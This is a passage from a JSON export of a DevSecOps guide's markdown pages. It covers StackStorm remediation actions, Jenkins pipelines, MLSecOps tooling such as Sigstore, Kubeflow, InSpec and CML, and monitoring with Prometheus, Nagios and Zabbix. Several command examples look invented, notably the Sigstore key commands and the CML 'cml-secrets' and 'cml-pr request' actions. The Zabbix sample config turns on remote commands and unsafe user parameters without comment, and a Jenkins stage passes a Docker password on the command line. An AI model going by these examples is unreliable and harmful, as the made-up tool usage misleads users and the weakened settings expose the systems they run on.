str(e)\n```\n\n\n\n- [ ] Register the integrations in the pack.yaml file:\n\n\n```\n# notification_alerting/pack.yaml\n\nintegrations:\n  - integrations/send_notification.yaml\n```\n\n\n\n- [ ] Send a Slack notification:\n\n\n```\nst2 run send_notification.send_slack_notification message=<notification_message> channel=<slack_channel>\n```\n\n- [ ] Send an email notification:\n\n```\nst2 run send_notification.send_email_notification message=<notification_message> recipient=<recipient_email> sender=<sender_email> subject=<email_subject> smtp_server=<smtp_server> smtp_port=<smtp_port> smtp_username=<smtp_username> smtp_password=<smtp_password>\n```\n\n\n\n\n\n\n\n### Patching Vulnerable Systems:\n\nDescription: Automatically patch vulnerable systems by executing scripts or running configuration management tools like Ansible.\n\nCommand/Code: `st2 run remediation.patch`\n\n\n- [ ] Create a new StackStorm pack:\n\n```\nst2 pack create vulnerability_patching\n```\n\n\n- [ ] Create a new action file patch_vulnerable_systems.yaml within the pack:\n\n\n```\n# vulnerability_patching/actions/patch_vulnerable_systems.yaml\n\nname: patch_vulnerable_systems\ndescription: Automatically patch vulnerable systems\n\nrunner_type: \"remote-shell-script\"\nenabled: true\nentry_point: patch_vulnerable_systems.sh\n```\n\n\n- [ ] Create a new shell script file patch_vulnerable_systems.sh within the pack:\n\n\n\n```\n# vulnerability_patching/actions/patch_vulnerable_systems.sh\n\n# Code to patch vulnerable systems using Ansible or other configuration management tools\nansible-playbook -i inventory.ini patch_vulnerable_systems.yml\n```\n\n\n- [ ] Create an Ansible playbook file patch_vulnerable_systems.yml:\n\n\n\n```\n# vulnerability_patching/actions/patch_vulnerable_systems.yml\n\n- name: Patch vulnerable systems\n  hosts: vulnerable_hosts\n  tasks:\n    - name: Apply security patches\n      apt:\n        name: \"*\"\n        state: latest\n        update_cache: yes\n```\n\n\n\n\n- [ ] Register the action in the pack.yaml file:\n\n\n\n\n```\n# vulnerability_patching/pack.yaml\n\nactions:\n  - actions/patch_vulnerable_systems.yaml\n```\n\n\n\n\n\n\n### Network Isolation:\n\nDescription: Isolate compromised systems from the network to prevent further damage.\n\nCommand/Code: `st2 run remediation.isolate`\n\n\n\n- [ ] Create a new StackStorm pack:\n\n```\nst2 pack create network-isolation\n```\n\n\n\n- [ ] Create a new action file\n\n```\nst2 action create network_isolation.yaml\n```\n\n\n\n- [ ] Open the network_isolation.yaml file and add the following content:\n\n\n\n```\nname: network_isolation\ndescription: Isolate compromised systems from the network\nrunner_type: run-local\nparameters:\n  - name: ip_address\n    description: IP address of the compromised system\n    type: string\n    required: true\nentry_point: isolation.sh\n```\n\n\n\n- [ ] Open the isolation.sh file and add the following content:\n\n\n\n```\n#!/bin/bash\n\nip_address=\"{{ip_address}}\"\n\n# Execute commands to isolate the system\niptables -A INPUT -s $ip_address -j DROP\niptables -A OUTPUT -d $ip_address -j DROP\n```\n\n\n\n- [ ] Register the action:\n\n```\nst2 run packs.setup_virtualenv packs=network-isolation\n```\n\n\n\n\n- [ ] Test the action by running:\n\n\n\n```\nst2 run network-isolation.network_isolation ip_address=<ip_address>\n```\n\n\n\n### User Account Lockout:\n\nDescription: Lock user accounts associated with the identified vulnerability to limit access.\n\nCommand/Code: `st2 run remediation.lock_account`\n\n\n\n\n- [ ] Create a new StackStorm pack:\n\n\n\n```\nst2 pack create user-account-lockout\n```\n\n\n\n- [ ] Create a new action file:\n\n\n\n```\nst2 action create user_account_lockout.yaml\n```\n\n\n\n- [ ] Open the user_account_lockout.yaml file and add the following content:\n\n\n\n```\nname: user_account_lockout\ndescription: Lock user accounts associated with the identified vulnerability\nrunner_type: run-local\nparameters:\n  - name: username\n    description: Username of the user account to lock\n    type: string\n    required: true\nentry_point: lockout.sh\n```\n\n\n\n- [ ] Open the lockout.sh file and add the following content:\n\n\n\n```\n#!/bin/bash\n\nusername=\"{{username}}\"\n\n# Execute commands to lock the user account\nusermod -L $username\n```\n\n\n\n- [ ] Register the action:\n\n\n\n```\nst2 run packs.setup_virtualenv packs=user-account-lockout\n```\n\n\n\n- [ ] Test the action by running\n\n\n\n```\nst2 run user-account-lockout.user_account_lockout username=<username>\n```\n\n\n\n### Incident Status Update:\n\nDescription: Update the status of an incident, providing real-time information on the remediation progress.\n\nCommand/Code: `st2 run incident.update_status`\n\n\n\n\n- [ ] Create a new StackStorm pack:\n\n\n\n```\nst2 pack create incident-status-update\n```\n\n\n\n- [ ] Create a new action file\n\n\n\n```\nst2 action create incident_status_update.yaml\n```\n\n\n\n- [ ] Open the incident_status_update.yaml file and add the following content:\n\n\n\n```\nname: incident_status_update\ndescription: Update the status of an incident\nrunner_type: run-local\nparameters:\n  - name: incident_id\n    description: Identifier of the incident\n    type: string\n    required: true\n  - name: status\n    description: New status of the incident\n    type: string\n    required: true\nentry_point: status_update.sh\n```\n\n\n\n- [ ] Open the status_update.sh file and add the following content:\n\n\n\n```\n#!/bin/bash\n\nincident_id=\"{{incident_id}}\"\nstatus=\"{{status}}\"\n\n# Execute commands to update the incident status\n# E.g., update a ticketing system, send a notification, etc.\necho \"Incident $incident_id status updated to $status\"\n```\n\n\n\n- [ ] Register the action:\n\n\n\n```\nst2 run packs.setup_virtualenv packs=incident-status-update\n```\n\n\n\n- [ ] Test the action by running:\n\n\n```\nst2 run incident-status-update.incident_status_update incident_id=<incident_id> status=<new_status>\n```\n\n\n\n### Incident Resolution:\n\nDescription: Close the incident after successful remediation and notify the team about the resolution.\n\nCommand/Code: `st2 run incident.resolve`\n\n\n\n\n- [ ] Create a new StackStorm pack:\n\n\n```\nst2 pack create incident-resolution\n```\n\n\n\n- [ ] Create a new action file:\n\n\n```\nst2 action create incident_resolution.yaml\n```\n\n\n\n- [ ] Open the incident_resolution.yaml file and add the following content:\n\n\n```\nname: incident_resolution\ndescription: Resolve an incident and notify the team\nrunner_type: run-local\nparameters:\n  - name: incident_id\n    description: Identifier of the incident\n    type: string\n    required: true\nentry_point: resolution_script.sh\n```\n\n\n\n- [ ] Open the resolution_script.sh file and add the following content:\n\n\n```\n#!/bin/bash\n\nincident_id=\"{{incident_id}}\"\n\n# Execute commands to resolve the incident\n# E.g., close a ticket, notify the team, etc.\necho \"Incident $incident_id resolved successfully\"\n```\n\n\n\n- [ ] Register the action:\n\n\n```\nst2 run packs.setup_virtualenv packs=incident-resolution\n```\n\n\n\n- [ ] Test the action by running:\n\n\n```\nst2 run incident-resolution.incident_resolution incident_id=<incident_id>\n```\n\n\n## Secure Pipeline Using Jenkins Declarative Pipeline\n\n```\npipeline {\n    agent any\n    \n    environment {\n        DOCKER_REGISTRY = \"your_docker_registry\"\n        DOCKER_CREDENTIALS_ID = \"your_docker_credentials_id\"\n        SONARQUBE_URL = \"your_sonarqube_url\"\n        SONARQUBE_TOKEN = \"your_sonarqube_token\"\n    }\n    \n    stages {\n        stage('Build') {\n            steps {\n                script {\n                    git 'https://github.com/devopscube/declarative-pipeline-examples.git'\n                    sh 'mvn clean install'\n                }\n            }\n        }\n        \n        stage('SonarQube Scan') {\n            steps {\n                withSonarQubeEnv('SonarQube') {\n                    script {\n                        sh \"mvn sonar:sonar -Dsonar.projectKey=my_project -Dsonar.host.url=${SONARQUBE_URL} -Dsonar.login=${SONARQUBE_TOKEN}\"\n                    }\n                }\n            }\n        }\n        \n        stage('Containerize') {\n            steps {\n                script {\n                    sh \"docker build -t ${DOCKER_REGISTRY}/my-app:${BUILD_NUMBER} .\"\n                    sh \"docker login -u your_docker_username -p your_docker_password ${DOCKER_REGISTRY}\"\n                    sh \"docker push ${DOCKER_REGISTRY}/my-app:${BUILD_NUMBER}\"\n                }\n            }\n        }\n        \n        stage('Deploy') {\n            steps {\n                script {\n                    sh \"kubectl apply -f kube-deployment.yaml\"\n                }\n            }\n        }\n    }\n    \n    post {\n        success {\n            echo \"Pipeline executed successfully!\"\n        }\n        \n        failure {\n            echo \"Pipeline execution failed!\"\n        }\n        \n        always {\n            echo \"Cleaning up...\"\n            sh \"docker logout ${DOCKER_REGISTRY}\"\n        }\n    }\n}\n```\n\nIn this pipeline, the stages include building the project, performing a SonarQube scan, containerizing the application, and deploying it using Kubernetes. The pipeline also handles post-execution actions based on the success or failure of the pipeline.\n\nMake sure to replace the placeholders with appropriate values, such as `your_docker_registry`, `your_docker_credentials_id`, `your_sonarqube_url`, and `your_sonarqube_token`, to match your environment.\n\n\n\n\n## References\n\n* https://devopscube.com/declarative-pipeline-parameters/\n\n"
  },
  {
    "path": "docs/mlsecops/azure.md",
    "content": "---\nlayout: default\ntitle: Azure\nparent: MlSecOps\n---\n\n\n# Azure \n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n\n## Responsible AI principles\n\n\n\n- [ ] Azure Machine Learning\n\nAzure Machine Learning is a cloud-based service for building, training, and deploying machine learning models. It provides tools and capabilities to promote responsible AI practices.\n\n```\naz ml workspace create --workspace-name <workspace-name> --resource-group <resource-group> --location <location>\n```\n\n\n\n\n- [ ] Azure Machine Learning Interpretability\n\nAzure Machine Learning Interpretability provides tools to understand and interpret machine learning models, making them more transparent and explainable.\n\n```\nazureml-interpret\n```\n\n\n\n\n\n- [ ] Azure Cognitive Services\n\nAzure Cognitive Services offer pre-built AI models and APIs for tasks such as natural language processing, computer vision, and speech recognition. These services can be used responsibly by adhering to guidelines and incorporating fairness and bias considerations.\n\n```\naz cognitiveservices account create --name <service-name> --resource-group <resource-group> --kind TextAnalytics --sku <sku-name> --location <location>\n```\n\n\n\n\n- [ ] Azure AI Ethics and Governance\n\nAzure provides various governance tools and features to ensure responsible AI practices, including Azure Policy, Azure Blueprints, and Azure Advisor.\n\n\n\n"
  },
  {
    "path": "docs/mlsecops/mlsecops.md",
    "content": "---\nlayout: default\ntitle: MlSecOps\nnav_order: 7\nhas_children: true\npermalink: docs/mlsecops\n---\n\n# MlSecOps\n{: .no_toc }\n\n{: .fs-6 .fw-300 }\n"
  },
  {
    "path": "docs/mlsecops/modelrobustnessandadversarialattacks.md",
    "content": "---\nlayout: default\ntitle: Model Robustness and Adversarial Attacks\nparent: MlSecOps\n---\n\n# Model Robustness and Adversarial Attacks\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\nAssessing and improving the robustness of machine learning models against adversarial attacks. This involves testing models against various adversarial scenarios, developing defenses to mitigate attacks (e.g., adversarial training), and understanding the limitations of model robustness.\n\n\n\n## OWASP Machine Learning Security Verification Standard (MLSVS)\n\n\n- [ ] Familiarize with MLSVS  \n\nRead the MLSVS documentation available on the OWASP website.\n\n- [ ] Assess Threat Model\n\nConduct a threat modeling exercise to identify potential security risks and threats in your machine learning system.\n\n- [ ] Verify Model Training Data  Perform data validation and integrity checks on the training dataset to ensure its quality and prevent adversarial tampering.\n\n- [ ] Verify Model Training Process Validate the security measures implemented during the model training process, such as access controls, versioning, and secure storage.\n\n- [ ] Evaluate Model Robustness Test the model against various attack techniques, such as evasion attacks, poisoning attacks, and adversarial inputs, to assess its resilience.\n\n- [ ] Verify Model Explanations Validate the interpretability and explainability of the model's predictions to ensure transparency and accountability.\n\n- [ ] Assess Model Deployment Security  Evaluate the security controls implemented during the deployment of the machine learning model, including access controls, authentication, and encryption.\n\n- [ ] Monitor Model Performance Establish monitoring mechanisms to detect and mitigate model performance degradation, data drift, and adversarial attacks in real-time.\n\n- [ ] Implement Privacy Protection  Apply privacy-preserving techniques, such as differential privacy, anonymization, or federated learning, to protect sensitive data used in the machine learning system.\n\n- [ ] Regularly Update MLSVS Practices  Stay updated with the latest MLSVS guidelines and best practices to adapt to evolving machine learning security threats.\n\n\n## Supply Chain Security for MLSecOps\n\n* **Install Sigstore**\n\n```\n# Clone the Sigstore repository\ngit clone https://github.com/sigstore/sigstore\n\n# Change to the Sigstore directory\ncd sigstore\n\n# Install the Sigstore CLI\nmake install\n```\n\n* **Generate and manage cryptographic keys**\n\n```\n# Generate a new key pair\nsigstore keygen\n\n# List the available keys\nsigstore key list\n\n# Set the active key\nsigstore key set <key-id>\n```\n\n* **Sign a software artifact**\n\n```\n# Sign a software artifact using the active key\nsigstore sign <artifact-file>\n```\n\n* **Verify the signature of a signed artifact:**\n\n```\n# Verify the signature of a signed artifact\nsigstore verify <signed-artifact-file>\n```\n\n* **Integrate Sigstore into the supply chain**\n\nSigstore can be integrated into various stages of the supply chain, such as during software development, build, deployment, and distribution. For example, you can configure your CI/CD pipeline to sign artifacts with Sigstore after successful builds and verify signatures during deployment.\n\n\n* **Real-world example**\n\nLet's say you have a machine learning model file named \"model.pkl\" that you want to sign and verify using Sigstore:\n\n```\n# Sign the model file\nsigstore sign model.pkl\n\n# This will generate a signed artifact file named \"model.pkl.sig\"\n\n# Verify the signature of the signed model file\nsigstore verify model.pkl.sig\n```\n\nBy signing and verifying the model file using Sigstore, you can ensure its integrity and authenticity throughout the software supply chain.\n\n\n\n\n\n## Kubeflow\n\n* **Environment Setup**\n\nSet up a Kubernetes cluster for deploying Kubeflow.\n\n```\n# Create a Kubernetes cluster using a cloud provider\ngcloud container clusters create my-cluster --num-nodes=3 --zone=us-central1-a\n\n# Install Kubeflow using the Kubeflow deployment tool\nkfctl init my-kubeflow-app --platform gcp --project=my-project\nkfctl generate all -V\nkfctl apply all -V\n```\n\n\n\n* **Model Development**\n\nDevelop an ML model using TensorFlow and package it as a Docker container.\n\n```\n# Create a Dockerfile for building the model container\nFROM tensorflow/tensorflow:latest\nCOPY model.py /app/\nWORKDIR /app/\nCMD [\"python\", \"model.py\"]\n\n# Build and tag the Docker image\ndocker build -t my-model-image .\n```\n\n\n* **Version Control**\n\nTrack ML code and artifacts using Git for reproducibility and traceability.\n\n```\n# Initialize a Git repository\ngit init\n\n# Add ML code and artifacts\ngit add .\n\n# Commit changes\ngit commit -m \"Initial commit\"\n```\n\n* **Continuous Integration and Continuous Deployment (CI/CD)**\n\nSet up a CI/CD pipeline for automated build, test, and deployment of ML models.\n\n```\n# Configure Jenkins pipeline for ML model\npipeline {\n  agent any\n  stages {\n    stage('Build') {\n      steps {\n        // Build Docker image\n        sh 'docker build -t my-model-image .'\n      }\n    }\n    stage('Test') {\n      steps {\n        // Run unit tests\n        sh 'python -m unittest discover tests'\n      }\n    }\n    stage('Deploy') {\n      steps {\n        // Deploy model to Kubeflow\n        sh 'kubectl apply -f deployment.yaml'\n      }\n    }\n  }\n}\n```\n\n* **Security Scanning**\n\nIntegrate security scanning tools to identify vulnerabilities in ML code and dependencies.\n\n```\n# Install Snyk CLI\nnpm install -g snyk\n\n# Scan Docker image for vulnerabilities\nsnyk test my-model-image\n```\n\n* **Model Training**\n\nUse Kubeflow Pipelines for defining and executing ML workflows.\n\n```\n# Define a Kubeflow Pipeline for training\n@dsl.pipeline(name='Training Pipeline', description='Pipeline for model training')\ndef train_pipeline():\n    ...\n\n# Compile and run the pipeline\nkfp.compiler.Compiler().compile(train_pipeline, 'pipeline.tar.gz')\nkfp.Client().create_run_from_pipeline_package('pipeline.tar.gz')\n```\n\n* **Model Serving**\n\nDeploy trained models as Kubernetes services using Kubeflow Serving.\n\n```\n# Deploy trained model as a service\nkubectl apply -f serving.yaml\n```\n\n* **Monitoring and Observability**\n\nUse monitoring and logging tools to track the performance and behavior of your ML models in real-time. This helps in detecting anomalies, monitoring resource utilization, and ensuring the overall health of your ML system.\n\n```\n# Install Prometheus and Grafana using Helm\nhelm repo add prometheus-community https://prometheus-community.github.io/helm-charts\nhelm repo update\nhelm install prometheus prometheus-community/prometheus\nhelm install grafana grafana/grafana\n\n# Access the Grafana dashboard\nkubectl port-forward service/grafana 3000:80\n\n# Configure Prometheus as a data source in Grafana and create ML model monitoring dashboards\n```\n\n* **Automated Testing**\n\nImplement automated testing for your ML models to ensure their correctness and performance. This can include unit tests, integration tests, and load tests to validate the behavior of your models.\n\n```\n# Install PyTest\npip install pytest\n\n# Write tests for ML models\n# Example test:\ndef test_model_prediction():\n    model = load_model('my-model.h5')\n    input_data = ...\n    expected_output = ...\n    prediction = model.predict(input_data)\n    assert np.allclose(prediction, expected_output, atol=1e-5)\n\n# Run tests\npytest tests/\n```\n\n\n\n* **Auditing and Compliance**\n\nImplement audit trails and compliance measures to track model changes, data usage, and model performance. This helps with regulatory requirements and ensures the transparency and accountability of your ML operations.\n\n```\n# Define and implement auditing mechanisms\n# Example:\n- Keep track of model versions and associated metadata (e.g., timestamp, author, changes made).\n- Implement data access logs to monitor data usage and permissions.\n- Establish model performance metrics and logging for compliance monitoring.\n- Regularly review and update auditing and compliance measures based on regulatory standards.\n```\n\n\n\n\n\n## Chef InSpec\n\n\n\n### Run a basic compliance check\n\nExecute a compliance check using InSpec against a target system.\n\n\n```\ninspec exec <path_to_profile>\n```\n\nan example of an InSpec profile that you can use to execute a compliance check against a target system:\n\n```\n# my_compliance_profile.rb\n\n# Define the profile metadata\ntitle 'My Compliance Profile'\nmaintainer 'Your Name'\nlicense 'Apache-2.0'\ndescription 'Compliance checks for the target system'\n\n# Define the target system(s) to be checked\ntarget_hostname = attribute('target_hostname', description: 'Hostname of the target system')\n\n# Start writing controls for compliance checks\ncontrol 'check_os_version' do\n  impact 0.7\n  title 'Operating System Version Check'\n  desc 'Verify that the operating system version meets the compliance requirements'\n  \n  only_if { os.linux? } # Run this control only on Linux systems\n\n  describe command('uname -r') do\n    its('stdout') { should cmp '4.19.0-10-amd64' } # Replace with the desired OS version\n  end\nend\n\ncontrol 'check_secure_password_policy' do\n  impact 0.5\n  title 'Secure Password Policy Check'\n  desc 'Ensure that the system enforces a secure password policy'\n  \n  describe file('/etc/login.defs') do\n    its('content') { should match(/PASS_MAX_DAYS\\s+(\\d+)/) }\n    its('content') { should match(/PASS_MIN_LEN\\s+(\\d+)/) }\n    # Add more password policy checks as required\n  end\nend\n\n# Add more controls as needed...\n```\n\nIn this example, the profile consists of two controls: one for checking the operating system version and another for verifying the secure password policy. You can add more controls to the profile based on your compliance requirements.\n\nTo use this profile, create a new file with the .rb extension (e.g., my_compliance_profile.rb) and copy the code into it. Customize the controls according to your specific compliance checks and requirements.\n\n\n\n### Generate a compliance report\n\nRun a compliance check and generate a report in a specific format.\n\n\n```\ninspec exec <path_to_profile> --reporter <reporter_name>\n```\n\n\n### Check a specific control within a profile\n\nRun a compliance check for a specific control within a profile.\n\n```\ninspec exec <path_to_profile> --controls <control_name>\n```\n\n### Specify target hostname/IP for the compliance check\n\nRun a compliance check against a specific target system.\n\n```\ninspec exec <path_to_profile> -t <target_hostname_or_ip>\n```\n\n\n### Profile development mode\n\nEnable profile development mode to interactively write and test controls.\n\n\n```\ninspec init profile <profile_directory>\ninspec shell\n```\n\n## envd\n\n\n### Create a configuration file:\n\n```\ncp config.yml.example config.yml\n```\n\n\n### Start the envd service\n\n\n```\npython envd.py\n```\n\n### API\n\nAPI Endpoints:\n\n* /environments:\n  GET: Retrieve a list of all environments.\n  POST: Create a new environment.\n* /environments/{env_id}:\n  GET: Retrieve details of a specific environment.\n  PUT: Update an existing environment.\n  DELETE: Delete an environment.\n* /environments/{env_id}/variables:\n  GET: Retrieve a list of variables for a specific environment.\n  POST: Add a new variable to the environment.\n* /environments/{env_id}/variables/{var_id}:\n  GET: Retrieve details of a specific variable.\n  PUT: Update an existing variable.\n  DELETE: Delete a variable.\n\n#### Create a new environment\n\n```\ncurl -X POST -H \"Content-Type: application/json\" -d '{\"name\": \"Production\", \"description\": \"Production environment\"}' http://localhost:5000/environments\n```\n\n#### Get the list of environments\n\n```\ncurl -X GET http://localhost:5000/environments\n```\n\n#### Update an environment\n\n```\ncurl -X PUT -H \"Content-Type: application/json\" -d '{\"description\": \"Updated description\"}' http://localhost:5000/environments/{env_id}\n```\n\n#### Delete a variable\n\n```\ncurl -X DELETE http://localhost:5000/environments/{env_id}/variables/{var_id}\n```\n\n\n\n## Continuous Machine Learning (CML)\n\n\n### Securely Publishing Model Artifacts\n\n```\nname: Publish Model\non:\n  push:\n    branches:\n      - main\njobs:\n  publish_model:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout Code\n        uses: actions/checkout@v2\n      - name: Build Model\n        run: |\n          # Run commands to build and train the model\n          python train.py\n      - name: Publish Model Artifacts\n        uses: iterative/cml@v1\n        with:\n          command: cml-publish model\n          files: model.h5\n```\n\nThis example demonstrates how to securely publish model artifacts after building and training a machine learning model. The cml-publish action is used to publish the model.h5 file as an artifact.\n\n\n### Running Security Scans\n\n```\nname: Run Security Scans\non:\n  push:\n    branches:\n      - main\njobs:\n  security_scan:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout Code\n        uses: actions/checkout@v2\n      - name: Run Security Scan\n        uses: iterative/cml@v1\n        with:\n          command: cml-run make scan\n```\n\nThis example demonstrates how to run security scans on your codebase. The cml-run action is used to execute the make scan command, which can trigger security scanning tools to analyze the code for vulnerabilities.\n\n\n### Automated Code Review\n\n```\nname: Automated Code Review\non:\n  pull_request:\njobs:\n  code_review:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout Code\n        uses: actions/checkout@v2\n      - name: Run Code Review\n        uses: iterative/cml@v1\n        with:\n          command: cml-pr review\n          args: \"--checkstyle\"\n```\n\nThis example demonstrates how to perform automated code reviews on pull requests. The cml-pr action is used to trigger a code review using the --checkstyle option, which can enforce coding standards and best practices.\n\n### Secret Management\n\n```\nname: Secret Management\non:\n  push:\n    branches:\n      - main\njobs:\n  secret_management:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout Code\n        uses: actions/checkout@v2\n      - name: Retrieve Secrets\n        uses: iterative/cml@v1\n        with:\n          command: cml-secrets pull\n          args: \"--all\"\n      - name: Build and Deploy\n        run: |\n          # Use the retrieved secrets to build and deploy the application\n          echo $API_KEY > api_key.txt\n          python deploy.py\n      - name: Cleanup Secrets\n        uses: iterative/cml@v1\n        with:\n          command: cml-secrets clear\n          args: \"--all\"\n```\n\nThis example demonstrates how to securely manage secrets during the CI/CD pipeline. The cml-secrets action is used to pull secrets, such as an API key, from a secure storage and use them during the build and deploy process. Afterwards, the secrets are cleared to minimize exposure.\n\n### Secure Deployment with Review\n\n```\nname: Secure Deployment\non:\n  push:\n    branches:\n      - main\njobs:\n  secure_deployment:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout Code\n        uses: actions/checkout@v2\n      - name: Build and Test\n        run: |\n          # Run commands to build and test the application\n          python build.py\n          python test.py\n      - name: Request Deployment Review\n        uses: iterative/cml@v1\n        with:\n          command: cml-pr request\n          args: \"--title 'Deployment Review' --body 'Please review the deployment' --assign @security-team\"\n```\n\n\nThis example demonstrates how to request a deployment review from the security team before deploying the application. The cml-pr action is used to create a pull request with a specific title, body, and assignee. This allows the security team to review and approve the deployment before it is executed.\n\n\n## Automate Machine Learning Lifecycle\n\nhttps://github.com/microsoft/nni\n\n\n\n## Resources\n\n* https://github.com/devopscube/how-to-mlops\n* https://github.com/aws/studio-lab-examples\n* https://github.com/fuzzylabs/awesome-open-mlops\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/model/model.md",
    "content": "---\nlayout: default\ntitle: Model\nnav_order: 11\nhas_children: true\npermalink: docs/model\n---\n\n# Model\n{: .no_toc }\n\n"
  },
  {
    "path": "docs/model/simple.md",
    "content": "---\nlayout: default\ntitle: Simple\nparent: Model\n---\n\n# Simple\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\nDevSecOps simple model more focus on fast and scalable \n\n\n| Stages        | Description | Tools |\n|:-------------|:------------------|:------|\n| Threat Modeling           | Identify and analyze potential security threats and vulnerabilities in the system design and architecture. | Microsoft Threat Modeling Tool, Pytm  |\n| SAST (Static Application Security Testing)           | Analyze source code to identify security vulnerabilities and coding flaws.  | Snyk - SonarQube - Checkmarx - Fortify - Veracode  |\n| SCA (Software Composition Analysis)           | Identify and manage open-source and third-party components for known vulnerabilities and license compliance. | Snyk - Sonatype Nexus Lifecycle - WhiteSource - Black Duck  |\n| Secure Pipeline           | Implement security controls and best practices in the CI/CD pipeline to ensure the integrity and security of the software delivery process.  | Jenkins - GitLab CI/CD - CircleCI  |\n| Real-time distributed messaging platforms           | Utilize messaging platforms for real-time communication, collaboration, and incident response.  | Slack - Microsoft Teams - Mattermost - Discord  |\n| Artifacts           | Securely manage and store build artifacts, such as Docker images or software packages.  | Docker Registry - Nexus Repository Manager - JFrog Artifactory  |\n| Configuration Management           | Manage and enforce secure configuration settings across the infrastructure and applications.   | Ansible - Chef - Puppet - Terraform  |\n| DAST (Dynamic Application Security Testing)           | Test running applications to identify vulnerabilities and security weaknesses in real-time.  | Nuclei - Burp Suite - Acunetix - Netsparker  |\n| IAST (Interactive Application Security Testing)           | Perform security testing during application runtime to identify vulnerabilities and provide real-time feedback.  | Contrast Security - Seeker - Quotium Seeker  |\n| Smoke Test           | Execute basic tests to ensure the essential functionality of the application after each deployment.  | Selenium - Cypress - Postman  |\n| Cloud Infrastructure           | Securely configure and manage cloud infrastructure and services.  | AWS CloudFormation - Azure Resource Manager - Google Cloud Deployment Manager  |\n| Secret Management           | Securely store and manage sensitive information, such as API keys, passwords, and certificates.  | HashiCorp Vault - AWS Secrets Manager - Azure Key Vault  |\n| Threat Intelligence           |  Gather and analyze threat intelligence data to proactively identify potential security threats and vulnerabilities.  | OpenCTI  |\n| Vulnerability Assessment           | Conduct regular vulnerability assessments and scans to identify and prioritize vulnerabilities.  | Nessus - Qualys - OpenVAS - Rapid7 InsightVM  |\n| Monitoring           | Continuously monitor applications and infrastructure for security events and anomalies.  | ELK Stack (Elasticsearch, Logstash, Kibana) - Splunk - Prometheus - Grafana  |\n| Virtual Patching           | Apply temporary security measures to mitigate vulnerabilities until a permanent fix is implemented.  | OpenRASP |\n| MISecOps (Machine Learning in Security Operations)           | Utilize machine learning techniques to enhance security operations and automate threat detection and response.   | IBM Watson for Cyber Security - Splunk User Behavior Analytics (UBA) - Darktrace  |\n| AiSecOps (Artificial Intelligence in Security Operations)           | Apply artificial intelligence algorithms and techniques to improve security operations and automate threat analysis and response. |  Cylance - IBM QRadar - Palo Alto Networks Cortex XDR  |\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/operate/monitoring.md",
    "content": "---\nlayout: default\ntitle: Monitoring\nparent: Operate\n---\n\n# Monitoring\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\nMonitoring in DevSecOps refers to the practice of continuously observing and analyzing an organization's IT systems, applications, and infrastructure to identify potential security issues, detect and respond to security incidents, and ensure compliance with security policies and regulations.\n\nIn DevSecOps, monitoring is a critical component of a comprehensive security strategy, allowing organizations to identify and respond to security threats quickly and effectively. Some of the key benefits of monitoring in DevSecOps include:\n\n1. Early detection of security incidents: By continuously monitoring systems and applications, organizations can detect security incidents early on and take immediate action to remediate them.\n\n2. Improved incident response: With real-time monitoring and analysis, organizations can respond to security incidents quickly and effectively, minimizing the impact of a potential breach.\n\n3. Improved compliance: By monitoring systems and applications for compliance with security policies and regulations, organizations can ensure that they are meeting their security obligations.\n\n4. Improved visibility: Monitoring provides organizations with greater visibility into their IT systems and applications, allowing them to identify potential security risks and take proactive steps to address them.\n\nThere are a variety of monitoring tools and technologies available that can be used in DevSecOps, including log analysis tools, network monitoring tools, and security information and event management (SIEM) solutions. These tools can be integrated with other DevSecOps practices, such as continuous integration and continuous deployment, to ensure that security is built into the application development lifecycle.\n\n\n\n\n## Prometheus\n\nStart the Prometheus server:\n\n```\n$ ./prometheus --config.file=prometheus.yml\n```\n\nCheck Prometheus server status:\n\n\n```\n$ curl http://localhost:9090/-/healthy\n```\n\nQuery data using PromQL:\n\n\n```\nhttp://localhost:9090/graph?g0.range_input=1h&g0.expr=up&g0.tab=0\n```\n\n## Grafana\n\nAdd Prometheus data source:\n\n\n```\nhttp://localhost:3000/datasources/new?gettingstarted\n```\n\n\n## Nagios\n\nConfigure Nagios server:\n\n\n```\n/etc/nagios3/conf.d/\n```\n\nVerify Nagios server configuration:\n\n\n```\n$ sudo /usr/sbin/nagios3 -v /etc/nagios3/nagios.cfg\n```\n\n## Zabbix\n\nConfigure Zabbix agent on the server: Edit the Zabbix agent configuration file /etc/zabbix/zabbix_agentd.conf to specify the Zabbix server IP address and hostname, and to enable monitoring of system resources such as CPU, memory, disk usage, and network interface. Example configuration:\n\n```\nServer=192.168.1.100\nServerActive=192.168.1.100\nHostname=web-server\nEnableRemoteCommands=1\nUnsafeUserParameters=1\n# Monitor system resources\nUserParameter=cpu.usage[*],/usr/bin/mpstat 1 1 | awk '/Average:/ {print 100-$NF}'\nUserParameter=memory.usage,free | awk '/Mem:/ {print $3/$2 * 100.0}'\nUserParameter=disk.usage[*],df -h | awk '$1 == $1 {print int($5)}'\nUserParameter=network.in[*],cat /proc/net/dev | grep $1 | awk '{print $2}'\nUserParameter=network.out[*],cat /proc/net/dev | grep $1 | awk '{print $10}'\n```\n\nConfigure Zabbix server: Login to the Zabbix web interface and navigate to the \"Configuration\" tab. Create a new host with the same hostname as the server being monitored, and specify the IP address and Zabbix agent port. Add items to the host to monitor the system resources specified in the Zabbix agent configuration file. Example items:\n\n* CPU usage: `system.cpu.util[,idle]`\n* Memory usage: `vm.memory.size[available]`\n* Disk usage: `vfs.fs.size[/,pfree]`\n* Network inbound traffic: `net.if.in[eth0]`\n* Network outbound traffic: `net.if.out[eth0]`\n\nConfigure triggers: Set up triggers to alert when any monitored item exceeds a certain threshold. For example, set a trigger on the CPU usage item to alert when the usage exceeds 80%.\n\nConfigure actions: Create actions to notify relevant stakeholders when a trigger is fired. For example, send an email to the web application team and the system administrators.\n\n\n## Datadog\n\nEdit the Datadog agent configuration file 